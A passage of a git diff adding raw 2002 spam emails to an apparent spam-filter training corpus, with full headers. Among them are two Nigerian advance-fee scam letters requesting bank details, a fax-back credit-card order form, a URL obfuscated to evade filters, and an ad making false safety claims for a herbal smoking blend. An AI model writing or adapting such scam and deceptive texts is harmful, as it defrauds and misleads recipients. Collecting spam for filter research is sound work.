    +     + + + +--=_NextPart_2rfkindysadvnqw3nerasdf-- + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00233.3c32285387ebc0675adb029b9e20e581 b/bayes/spamham/spam_2/00233.3c32285387ebc0675adb029b9e20e581 new file mode 100644 index 0000000..c8b505f --- /dev/null +++ b/bayes/spamham/spam_2/00233.3c32285387ebc0675adb029b9e20e581 @@ -0,0 +1,258 @@ +From sigfin@insurancemail.net Wed Jul 3 12:07:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id 56B8914F8F4 + for ; Wed, 3 Jul 2002 12:04:54 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 03 Jul 2002 12:04:54 +0100 (IST) +Received: from insurance-mail.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g45MQtu27229 for ; Sun, 5 May 2002 23:26:59 + +0100 +Received: from mail pickup service by insurance-mail.insuranceiq.com with + Microsoft SMTPSVC; Sun, 5 May 2002 18:26:36 -0400 +Subject: 6% AVG Guaranteed for 5 Years +To: +Date: Sun, 5 May 2002 18:26:36 -0400 +From: "Signature Financial" +Message-Id: <212d4001c1f483$eaf6cae0$6701a8c0@insuranceiq.com> +MIME-Version: 1.0 +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcH0a1CXuRS3h4BGQhmetEkXFvjzGw== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 05 May 2002 22:26:36.0503 (UTC) FILETIME=[EB157670:01C1F483] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_1F32E9_01C1F449.C9876C50" + +This is a multi-part message in MIME format. + +------=_NextPart_000_1F32E9_01C1F449.C9876C50 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: quoted-printable + + 6% Average Annual Yield=09 + Simplicity At It's Best=09 + Fidelity & Guaranty Life Platinum Plus=09 + -5 Year Guarantee=0A= +-5 Year Surrender=0A= +-Interest Only Payments=0A= +-3.00% +Comission (0-79) =09 + Spectacular 2003 Convention=0A= +Hyatt Regency=0A= +Kauai, Hawaii=20 + + Rates Effective 05/01/2002 - Rates Subject to Change + =20 +Call or e-mail us Today! + 800-828-1910 +? or ? + +Please fill out the form below for more information =20 +Name: =09 +E-mail: =09 +Phone: =09 +City: State: =09 + =09 + +or visit us online at: www.SignatureFinancial.com + =20 + + Signature Financial Services + +*1.50% Commission ages 80-90, age nearest. Products issued by Fidelity & +Guaranty Life, Baltimore, MD +In certain states products and/or riders may not be available. =09 +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net =20 + +Legal Notice =20 +=20 + +------=_NextPart_000_1F32E9_01C1F449.C9876C50 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +6% AVG Guaranteed for 5 Years + + + + + =20 + + + =20 + + +
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    + or visit us online at:=20 + www.SignatureFinancial.com

    +  3D"Signature
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    + *1.50% Commission ages 80-90, age nearest. Products issued = +by Fidelity=20 + & Guaranty Life, Baltimore, MD
    + In certain states products and/or riders may not be = +available.
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    =20 +

    We = +don't want anyone=20 + to receive our mailings who does not wish to. This is = +professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: =20 + http://www.Insurancemail.net

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    + + + + +------=_NextPart_000_1F32E9_01C1F449.C9876C50-- + + diff --git a/bayes/spamham/spam_2/00234.64c94421011e896adab852386cd314d8 b/bayes/spamham/spam_2/00234.64c94421011e896adab852386cd314d8 new file mode 100644 index 0000000..1c541c0 --- /dev/null +++ b/bayes/spamham/spam_2/00234.64c94421011e896adab852386cd314d8 @@ -0,0 +1,33 @@ +From bounce-56446664-12@george.jokerville.com Wed Jul 3 12:07:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id CD9C814F8B1 + for ; Wed, 3 Jul 2002 12:04:55 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 03 Jul 2002 12:04:55 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g45NLLu29588 for + ; Mon, 6 May 2002 00:21:21 +0100 +Received: from george.jokerville.com (george.jokerville.com + [80.64.131.41]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP + id g45NL9D29507 for ; Mon, 6 May 2002 00:21:15 +0100 +Message-Id: <200205052321.g45NL9D29507@mandark.labs.netnoteinc.com> +Content-Disposition: inline +MIME-Version: 1.0 +Date: Sun, 5 May 2002 23:21:15 UT +X-X: +,3(M-38T-#8V-C0` +Subject: Joke-Of -The- Day +X-List-Unsubscribe: +From: "Joke-Of -The- Day" +Reply-To: "Joke-Of -The- Day" +X-Stormpost-To: yyyy@netnoteinc.com 56446664 12 +To: "yyyy@netnoteinc.com" +X-Mailer: StormPost 1.0 +Content-Type: text/html +Content-Transfer-Encoding: 7bit + +


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TO PLACE AN ORDER, READ INSTRUCTIONS BELOW: + +TO ORDER BY CREDIT CARD (VISA, MASTERCARD OR AMERICAN EXPRESS) + +- Simply complete the order form below and fax it back to ( 44 3 ) 65 9 - 0 73 0 +Make sure that we have your email address so that we can send you a reciept for your transaction. + +TO ORDER BY MAIL: + +Print the form below and send it together with a money order payable to FT International for the balance to: + +5863 Le s lie St. +Suite 408 +T oronto, Ont a rio +CANADA + +OR D E R F OR M : + +Please PRINT clearly + +Full Name:________________________________________________ + +Company Name:_____________________________________________ + +Telephone:________________________________________________ + +Fax:______________________________________________________ + +Email Address:__________________________________________* REQUIRED FIELD + +Shipping Address:______________________________________________ + +City:____________________ State/Province:________________ + +Country:_________________________ZIP/Postal:_____________ + +Shipping Options: [] $5 Regular Mail (1 - 2 weeks) [] $12 Priority Mail (2-4 business days) [] $25 Fedex (overnight) + +$79.00 USD + Shipping Charge $________ US = TOTAL: $_________ USD + +====================================================================================== + +[] Credit Card Order [] Mail Order + +CREDIT CARD ORDERS FAX THIS ORDER FORM BACK TO 1 - 44 3 - 6 59 - 07 3 0) + + +Card #:___________________________________________________ + +Expiry Date: ______________ + +Type of Card [] VISA [] MASTERCARD [] AMERICAN EXPRESS + +Name on Card:_____________________________________________ + +Billing Address:_________________________________ZIP/Postal: ____________ + +City:_____________________State/Province:_______________ Country:_____________ + +Cardholder Signature:______________________________________ + +Please note that FT I n t e rn a ti o n al will appear on your statement. + +======================================================================================= + +For any questions please feel free to call us at 1 - 4 1 6 - 2 3 6 - 89 8 1 + +To be removed from our database please send an email to ftremovals32663_372@yahoo.com + + + diff --git a/bayes/spamham/spam_2/00237.0faf46ae2bfab24f0464c4a1a0425659 b/bayes/spamham/spam_2/00237.0faf46ae2bfab24f0464c4a1a0425659 new file mode 100644 index 0000000..2a572e0 --- /dev/null +++ b/bayes/spamham/spam_2/00237.0faf46ae2bfab24f0464c4a1a0425659 @@ -0,0 +1,62 @@ +From weou345@msn.com Wed Jul 3 12:08:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id 251D814F8C6 + for ; Wed, 3 Jul 2002 12:05:18 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 03 Jul 2002 12:05:18 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g465CAu17381 for + ; Mon, 6 May 2002 06:12:10 +0100 +Received: from server.masstin.com.br (200-207-88-118.dsl.telesp.net.br + [200.207.88.118]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with + ESMTP id g465C2D30661 for ; Mon, 6 May 2002 06:12:03 + +0100 +Received: from mx1.mail.yahoo.com (212.100.72.170 [212.100.72.170]) by + server.masstin.com.br with SMTP (Microsoft Exchange Internet Mail Service + Version 5.5.2653.13) id K129RDF2; Sun, 5 May 2002 20:32:46 -0300 +Message-Id: <000056f02e30$00000c8f$000051a7@mx1.mail.yahoo.com> +To: +From: "peter" +Subject: RUIN ANYONE ANYWHERE ANYTHING +Date: Sun, 05 May 2002 19:35:30 -1600 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Reply-To: "peter"@netnoteinc.com, weou345@msn.com +Content-Transfer-Encoding: 7bit + +I have been receiving emails saying that I'm contributing to the "moral decay of society" by selling the Banned CD. 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To Be Removed From Our List, + http://%62a%6E%6E%65d%63%64.%6E%65%74/remove.html + + diff --git a/bayes/spamham/spam_2/00238.1bc0944812aa14bc789ff565710dc0b5 b/bayes/spamham/spam_2/00238.1bc0944812aa14bc789ff565710dc0b5 new file mode 100644 index 0000000..effeab1 --- /dev/null +++ b/bayes/spamham/spam_2/00238.1bc0944812aa14bc789ff565710dc0b5 @@ -0,0 +1,89 @@ +From walteribe@c4.com Wed Jul 3 12:34:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id AED2614F8C1 + for ; Wed, 3 Jul 2002 12:31:07 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 03 Jul 2002 12:31:07 +0100 (IST) +Received: from mail1.chek.com (homer.chek.com [208.197.227.7]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g46Dve205900 for + ; Mon, 6 May 2002 14:57:40 +0100 +Received: (qmail 9427 invoked from network); 6 May 2002 13:57:29 -0000 +Received: from whiskas.chek.com (208.197.227.138) by mailrelay1.chek.com + with SMTP; 6 May 2002 13:57:29 -0000 +Received: (qmail 24523 invoked by uid 99); 6 May 2002 13:57:28 -0000 +Date: 6 May 2002 13:57:28 -0000 +Message-Id: <20020506135728.24522.qmail@whiskas.chek.com> +From: "walter ibe" +To: walteribe@c4.com +X-Originating-Ip: [212.100.64.80] +Subject: URGENT BUSINESS ASSISTANCE +MIME-Version: 1.0 +X-Massmail: 1.0 +X-Massmail: precedence.bulk +Content-Type: multipart/alternative; boundary="=====================_889472414==_" + + +--=====================_889472414==_ +Content-Type: text/plain +Content-Transfer-Encoding: 8bit + +UNION BANK OF NIG LTD. +35 MARINA, +LAGOS ISLAND + +DEAR Sir, + +First, I must solicit your confidence in this transaction, this is by virture of its nature as being utterly confidencial and top secret. though i know that a transaction of this magnitude will make any one apprehensive and worried, but i am assuring you that all will be well at the end of theday. we have decided to contact you due to the urgency of this transaction,let me start by introducing myself properly to you. I am the manager Bills and Exchange of Foreign Remittance department of Union Bank of NIgeria (U.B.N. Headquarters Lagos NIgeria) formally Union Bank of Switzerland (UBS-AG Zurich Switzerland). In accordance with Federal Government Policies on indiginalization Law on company and Allied matters of Jan 1977. I am writing you this letter to ask for your support and co-operation to carry out this transaction.We discovered an abandoned sum of US$20 million(twenty million US Dollars) in an account that belongs to one of our Foreign customer who died along side his entire family in November 1997 in a plane crash. Since this development,we have advertised for his next of kin or any close relation to come forward to claim this money, but nobody came to apply for the claim. To this effect,I and two other officials in my department, have decided to look for a trusted foreign partner who can stand in as the next of kin to the deceased and claim this money.We need a foreign partner to apply for the claim because of the fact that the customer was a foreigner and we don't want this money to go into the Banks Treasury as unclaimed fund. Every document to affect this process will emanate from my table and I will perfect every documentto be in accordance with the banking law and guidelines, +So you have nothing to worry about.We have agreed that 20% of the money +will be for you, 10%for expenses incurred on both sides, 10% will be +donated to the charity organization while 60% will be for my colleagues +and I. If you are going to help me, indicate by replying this letter +and putting in your BANK PARTICULARS, PRIVATE TELEPHONE AND FAX NUMBERS. + +I await your immediate reply to enable us start this transaction in earnest. +Once I receive your reply, I will send you the Text of Application for +immediate Application of Claim. + +Thanks for your anticipated assistance. + +Yours faithfully, + +DR.WALTER IBE + + +--=====================_889472414==_ +Content-Type: text/html +Content-Transfer-Encoding: 8bit + + + +

    UNION BANK OF NIG LTD.
    +35 MARINA,
    +LAGOS ISLAND
    +
    +DEAR Sir,
    +
    +First, I must solicit your confidence in this transaction, this is by virture of its nature as being utterly confidencial and top secret. though i know that a transaction of this magnitude will make any one apprehensive and worried, but i am assuring you that all will be well at the end of theday. we have decided to contact you due to the urgency of this transaction,let me start by introducing myself properly to you. I am the manager Bills and Exchange of Foreign Remittance department of Union Bank of NIgeria (U.B.N. Headquarters Lagos NIgeria) formally Union Bank of Switzerland (UBS-AG Zurich Switzerland). In accordance with Federal Government Policies on indiginalization Law on company and Allied matters of Jan 1977. I am writing you this letter to ask for your support and co-operation to carry out this transaction.We discovered an abandoned sum of US$20 million(twenty million US Dollars) in an account that belongs to one of our Foreign customer who died along side his entire family in November 1997 in a plane crash. Since this development,we have advertised for his next of kin or any close relation to come forward to claim this money, but nobody came to apply for the claim. To this effect,I and two other officials in my department, have decided to look for a trusted foreign partner who can stand in as the next of kin to the deceased and claim this money.We need a foreign partner to apply for the claim because of the fact that the customer was a foreigner and we don't want this money to go into the Banks Treasury as unclaimed fund. Every document to affect this process will emanate from my table and I will perfect every documentto be in accordance with the banking law and guidelines,
    +So you have nothing to worry about.We have agreed that 20% of the money
    +will be for you, 10%for expenses incurred on both sides, 10% will be
    +donated to the charity organization while 60% will be for my colleagues
    +and I. If you are going to help me, indicate by replying this letter
    +and putting in your BANK PARTICULARS, PRIVATE TELEPHONE AND FAX NUMBERS.
    +
    +I await your immediate reply to enable us start this transaction in earnest.
    +Once I receive your reply, I will send you the Text of Application for
    +immediate Application of Claim.
    +
    +Thanks for your anticipated assistance.
    +
    +Yours faithfully,
    +
    +DR.WALTER IBE
    +



    + +--=====================_889472414==_-- + + diff --git a/bayes/spamham/spam_2/00239.91d2d5c0e8827c4a42cb24733a0859fa b/bayes/spamham/spam_2/00239.91d2d5c0e8827c4a42cb24733a0859fa new file mode 100644 index 0000000..b91df51 --- /dev/null +++ b/bayes/spamham/spam_2/00239.91d2d5c0e8827c4a42cb24733a0859fa @@ -0,0 +1,169 @@ +From osa_ame2001@yahoo.com Wed Jul 3 12:35:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id E54EA14F910 + for ; Wed, 3 Jul 2002 12:32:38 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 03 Jul 2002 12:32:38 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g47AnS200985 for + ; Tue, 7 May 2002 11:49:28 +0100 +Received: from web20805.mail.yahoo.com (web20805.mail.yahoo.com + [216.136.226.194]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with + SMTP id g47AnLD12422 for ; Tue, 7 May 2002 11:49:21 + +0100 +Message-Id: <20020506221311.65587.qmail@web20805.mail.yahoo.com> +Received: from [64.86.155.135] by web20805.mail.yahoo.com via HTTP; + Mon, 06 May 2002 15:13:11 PDT +Date: Mon, 6 May 2002 15:13:11 -0700 (PDT) +From: "Dr. Osaro Ame" +Reply-To: osaro_am2001@yahoo.com +Subject: PARTNERSHIP REQUEST +To: osa_ame2001@yahoo.com +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii + +REQUEST FOR URGENT BUSINESS RELATIONSHIP + +Dear Sir, + +Firstly, I must solicit your strictest confidentiality +in this transaction. This is by virtue of its nature +as being utterly CONFIDENTIAL and “TOP SECRET.” +Though I know that a transaction of this magnitude +will make anyone apprehensive and worried, but I am +assuring you that all will be well at the end of the +day. + +We have decided to contact you first by your email due +to the urgency of this transaction, as we have been +reliably informed that it will take at least two to +three weeks for a normal post to reach you. So we +decided it is best using the email. + +Let me start by first introducing myself properly to +you. I am Dr. Osaro Ame, a director general in the +Ministry of Mines and Power and I head a Three-man +tender board appointed by the Government of the +Federal Republic of Nigeria to award contracts to +individuals and companies and to approve such contract +payments in the Ministry of Mines and Power. The +duties of the committee also include evaluation, +vetting and monitoring of work done by both foreign +and local contractors in the ministry. + +I came to know of you in my search for a reliable and +reputable person to handle a very confidential +business transaction which involves the transfer of a +huge sum of money to a foreign account requiring +maximum confidence. In order to commence this +business, we solicit for your assistance to enable us +transfer into your account the said funds. + +The source of this funds is as follows: Between 1996 +and 1997, this committee awarded contracts to various +contractors for engineering, procurement, supply of +electrical equipments such as Transformers, and some +rural electrification projects. + +However, these contracts were over-invoiced by the +committee, thereby, leaving the sum of US$11.5million +dollars (Eleven Million Five Hundred thousand United +States Dollars) in excess. This was done with the +intention that the committee will share the excess +when the payments are approved. + +The Federal Government have since approved the total +contract sum which has been paid out to the companies +and contractors concerned which executed the +contracts, leaving the balance of $11.5m dollars, +which we need your assistance to transfer into a safe +off-shore and reliable account to be disbursed amongst +ourselves. + +We need your assistance as the funds are presently +secured in an escrow account of the Federal Government +specifically set aside for the settlement of +outstanding payments to foreign contractors. We are +handicapped in this circumstances as the civil service +code of conduct, does not allow us to operate +off-shore accounts, hence your importance in the whole +transaction is highly needed . + +My colleagues and I have agreed that if you or your +company can act as the beneficiary of this funds on +our behalf, you or your company will retain 20% of the +total amount of US$11,500,000.00 (Eleven Million Five +Hundred Thousand United States Dollars), while 70% +will be for us (members of this panel) and the +remaining 10% will be used in offsetting all +debts/expenses incurred (both local and foreign) in +the cause of this transfer. Needless to say, the trust +reposed on you at this juncture is enormous. In return +we demand your complete honesty and trust. + +It does not matter whether or not your company does +contract projects of this nature described here, the +assumption is that your company won the major contract +and sub-contracted it out to other companies. More +often than not, big trading companies or firms of +unrelated fields win major contracts and subcontract +to more specialized firms for execution of such +contracts. We are civil servants and we will not +want to miss this once in a life time opportunity. + +You must however, NOTE that this transaction will be +strictly based on the following terms and conditions +as we have stated below, as we have heard confirmed +cases of business associates running away with funds +kept in their custody when it finally arrive their +accounts. We have decided that this transaction will +be based completely on the following: + +(a). Our conviction of your transparent honesty and +diligence. + +(b). That you would treat this transaction with utmost +secrecy and confidentiality. + +(c). That upon receipt of the funds, you will promptly +release our share (70%) on demand after you have +removed your 20% and all expenses have been settled. + +(d). You must be ready to produce us with enough +information about yourself to put our minds at rest. + +Please, note that this transaction is 100% legal and +risk free and we hope to conclude the business in Ten +Bank working days from the date of receipt of the +necessary information and requirement from you. + +Endeavour to acknowledge the receipt of this letter +using my email fax number 1-443-658-2542 or my email +address and I will bring you into the complete picture +of this transaction when I have heard from you. + +Your urgent response will be highly appreciated as we +are already behind schedule for this financial +quarter. + +Thank you and God bless. + +Yours faithfully, + +Dr. Osaro Ame + + + + + + + +__________________________________________________ +Do You Yahoo!? +Yahoo! Health - your guide to health and wellness +http://health.yahoo.com + + diff --git a/bayes/spamham/spam_2/00240.48e29876af05d3b43e0b6a510a8fc837 b/bayes/spamham/spam_2/00240.48e29876af05d3b43e0b6a510a8fc837 new file mode 100644 index 0000000..b9b58fa --- /dev/null +++ b/bayes/spamham/spam_2/00240.48e29876af05d3b43e0b6a510a8fc837 @@ -0,0 +1,118 @@ +From fork-admin@xent.com Wed Jul 3 12:35:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id 07D0314F8F1 + for ; Wed, 3 Jul 2002 12:32:03 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 03 Jul 2002 12:32:03 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g4712R208172 for ; + Tue, 7 May 2002 02:02:27 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id E2D76294141; Mon, 6 May 2002 17:56:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from VOICE_MAIL.voice-lnk.co.jp (ns.voice-lnk.co.jp + [210.225.24.114]) by xent.com (Postfix) with ESMTP id 1F204294098 for + ; Mon, 6 May 2002 17:56:02 -0700 (PDT) +Received: from HEWLETT-A254D69 (PROXY [211.98.129.2]) by + VOICE_MAIL.voice-lnk.co.jp with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2653.13) id KNL35BTJ; Tue, 7 May 2002 08:06:40 +0900 +Reply-To: werty8762000@yahoo.com +From: werty8762000572819@yahoo.com +To: fork@spamassassin.taint.org +Cc: +Subject: marketing news: the latest way to grow your business 572819 +MIME-Version: 1.0 +Date: Mon, 6 May 2002 18:07:59 -0500 +Message-Id: <20020507005602.1F204294098@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org +Content-Type: text/html; charset="iso-8859-1" + + + + +

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    + + + +------=_NextPart_000_237950_01C1F52E.BB0EE1E0-- + + diff --git a/bayes/spamham/spam_2/00243.2fa7ea5c308d2d572c7e8efc679bb6a9 b/bayes/spamham/spam_2/00243.2fa7ea5c308d2d572c7e8efc679bb6a9 new file mode 100644 index 0000000..43261e2 --- /dev/null +++ b/bayes/spamham/spam_2/00243.2fa7ea5c308d2d572c7e8efc679bb6a9 @@ -0,0 +1,103 @@ +From fork-admin@xent.com Wed Jul 3 12:35:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id A3D2E14F8F4 + for ; Wed, 3 Jul 2002 12:32:14 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 03 Jul 2002 12:32:14 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g471b0209130 for ; + Tue, 7 May 2002 02:37:00 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id CDD78294144; Mon, 6 May 2002 18:29:58 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from core.com (d139.as1.lnng.mi.voyager.net [209.153.186.46]) by + xent.com (Postfix) with SMTP id C161A294098 for ; + Mon, 6 May 2002 18:29:41 -0700 (PDT) +From: "IMM" +To: +Subject: Re: Appointment Setting +MIME-Version: 1.0 +Date: Mon, 6 May 2002 21:35:17 -0400 +Reply-To: "IMM" +Message-Id: <20020507012941.C161A294098@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org +Content-Type: text/html; charset="ISO-8859-1" +Content-Transfer-Encoding: 7bit + + + + +
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    + + + + + + diff --git a/bayes/spamham/spam_2/00252.3b352c8a7266026be4f1c1ba89690cfc b/bayes/spamham/spam_2/00252.3b352c8a7266026be4f1c1ba89690cfc new file mode 100644 index 0000000..608abc2 --- /dev/null +++ b/bayes/spamham/spam_2/00252.3b352c8a7266026be4f1c1ba89690cfc @@ -0,0 +1,255 @@ +From adfxh@engfac.uct.ac.za Mon Jun 24 17:03:10 2002 +Return-Path: adfxh@engfac.uct.ac.za +Delivery-Date: Sat May 11 22:50:20 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4BLoIe07594 for + ; Sat, 11 May 2002 22:50:19 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4BLoBD04415 for + ; Sat, 11 May 2002 22:50:12 +0100 +Received: from server_web.domain_web ([210.14.247.1]) by webnote.net + (8.9.3/8.9.3) with ESMTP id WAA01901 for ; + Sat, 11 May 2002 22:50:09 +0100 +Message-Id: <200205112150.WAA01901@webnote.net> +Received: from freemail.c3.hu (SGBMENT [195.229.212.161]) by + server_web.domain_web with SMTP (Microsoft Exchange Internet Mail Service + Version 5.5.1960.3) id KSZM22LC; Thu, 9 May 2002 21:06:38 +0800 +To: +From: "Mr. Natural" +Subject: NEW Pot Substitute! +Date: Thu, 09 May 2002 06:09:10 -1900 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +X-Keywords: +Content-Transfer-Encoding: 7bit + +>From the ethnobotanical herbalists who brought the herba supplementals; Kathmandu Temple Kiff “1” & “2” “Personal-Choice”, pipe-smoking products/substances to the common market!!! + +We are finally able to offer for your “Sensitive/Responsive”, “Personal Choice” Smoking Enjoyment….the “Seventh Heaven” Temple “3” Ragga Dagga (TM) Pipe-Smoking Substance Supplemental Product…. Introduced after three years of research and development; Temple “3” is “Personal Choice” legal Smoking/Indulgence….Redefined!!! + +Thanks to recent, dramatic, technological advances in the laboratorial processes for the extraction of alkaloid and glycocide supplements from botanicals/herbas/plant matter, we are now able to offer….in more cultivated/enhanced/viripotent/substantiated format….what had actually already been the most significant, lawful, “Personal Choice” smoking substance available on the planet…. “Seventh Heaven” Temple “3” Ragga Dagga (TM) is the sweet, sweet evolution of all of that…. + +* A 20 X MORE VIRIPOTENT HERBA SUPPLEMENT THAN ITS PREDESSORS (TEMPLE “1” & “2”). + +* HAPPIER, HAPPY SMOKING!!! + +* INDEED, A DEPRESSIVE REGRESSIVE, SUPPLEMENTAL MOOD-ENHANCER. + +* MORE SOPHISTICATED, UPLIFTING & POISED THAN ILLEGAL SMOKING SUBSTANCES. + +* NO REGULATION, NO ILLEGALITY, NO FAILED DRUG TESTS!!! + +* INHIBITS STRESS AND ANXIETY…. + +* INSPIRES CONTEMPLATIVENESS & CREATIVITY…. + +* ENHANCES THE SEXUAL EXPERIENCE!!! + +* GENERATES MORE RESTFUL SLEEP & LUCID DREAMING…. + +* A SIGNIFICANT HERBA / BOTANICAL SUPPLEMENT IN THE BATTLES AGAINST DRUG AND ALCOHOL DEPENDENCE!!!! + +* EASILY IGNITED & STOKED. + +* SMOKES SWEETLY! + +* ABSOLUTELY LEGAL / NON-INVASIVE / NO DOWNSIDE!!! + +* LINGERS FOR A GOOD, GOODLY WHILE! + +* POSSESSES MANY FINE GANJA VIRTUES WITH NONE OF THE NEGATIVES!!! + +* JUST A LITTLE SNIPPET / PINCH GOES A LONG, LONG WAY….JUST 4 OR 5 DRAWS OF YOUR PIPE (A traditional hand herb-pipe is included with each package of Ragga Dagga). + +Temple “3” Ragga Dagga (TM) is an exclusive, botanical/herba, proprietary; Nepalesian formulated, ultra-“Sensitive/Responsive”, pipe-smoking/stoking substance and is undoubtedly the most prestigious, legal offering of its sort on the planet!!! + +So smokin/stokin potent is this cutting edge formulation, that we have even been able to establish a very happy clientele market base within the hard-core stoner arena and have made positive, happy, smoking differences in many, many lives. + +ABSOLUTELY LEGAL! MARVELOUSLY POTENT!! + +A one-of-a-kind, proprietary amalgamation, comprised of extreme high-ratio concentrated extracts which are derived from various common and uncommon “sensitive/responsive” herbas primarily cultivated within and imported from the southern and eastern hemispheres; Temple “3” Ragga Dagga (TM) high-ratio factored botanical extractions are master-crafted into solid jiggets/bars which are structurally reminiscent of what one might find in the “happiness” coffee and tea houses of Nepal/Kathmandu/Amsterdam and in many aspects, possesses a more collected and more focused, less scattered ambiance. + +Ingredients: + +Temple smoking substances and Temple “3” Ragga Dagga (TM) have always been and will always remain exclusive EXOTIC BOTANICAL RESOURCES “House Smoking Substance Specialties”. Temple “3” Ragga Dagga (TM) is both a euphonious/celebratory and relaxing/calming pipe-smoking substance that offers both physical and cerebral significators. Temple “3” Ragga Dagga (TM) is a proprietary, prescribed botanical amalgamation which includes the following synergistically/synesthesia conglomerated, core-refined, ratio-enhanced herbas/botanicals, resins, essences, flower-tops and oils in extreme ratio extractment ranging from 8.5 to 1, to 100 to 1 viripotent concentrations Drachasha, Chavana Prash, Trikatu, Black Seed Herb, Hybrid Flowering Turnera Diffusa, Capillaris Herba, Angelica Root, Wild Dagga mature leaf matter, Haritaki, Shatavari, Labdunum, Neroli, Unicorn Root, Papaver Rhoes, Dendrobian stems, Calea Zacalechichi buddings, Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and Gokshu! +ra! + cuttings. + +Please Note: Temple “3” Ragga Dagga (TM) is an absolutely legal, herba/botanical, “Personal Choice”, pipe-smoking substantiality product!!! No included botanical factor therein is regulated by law or considered to be harmful by regulatory agencies. There is no tobacco in Temple “3” Ragga Dagga (TM). There is certainly no cannabis/marijuana in Temple “3” Ragga Dagga (TM)…. And although we are not age-governed by law….Temple “3” Ragga Dagga (TM) is intended exclusively for sophisticated adult usage! Subsequently, it is our MANDATORY ethical policy that Temple “3” Ragga Dagga 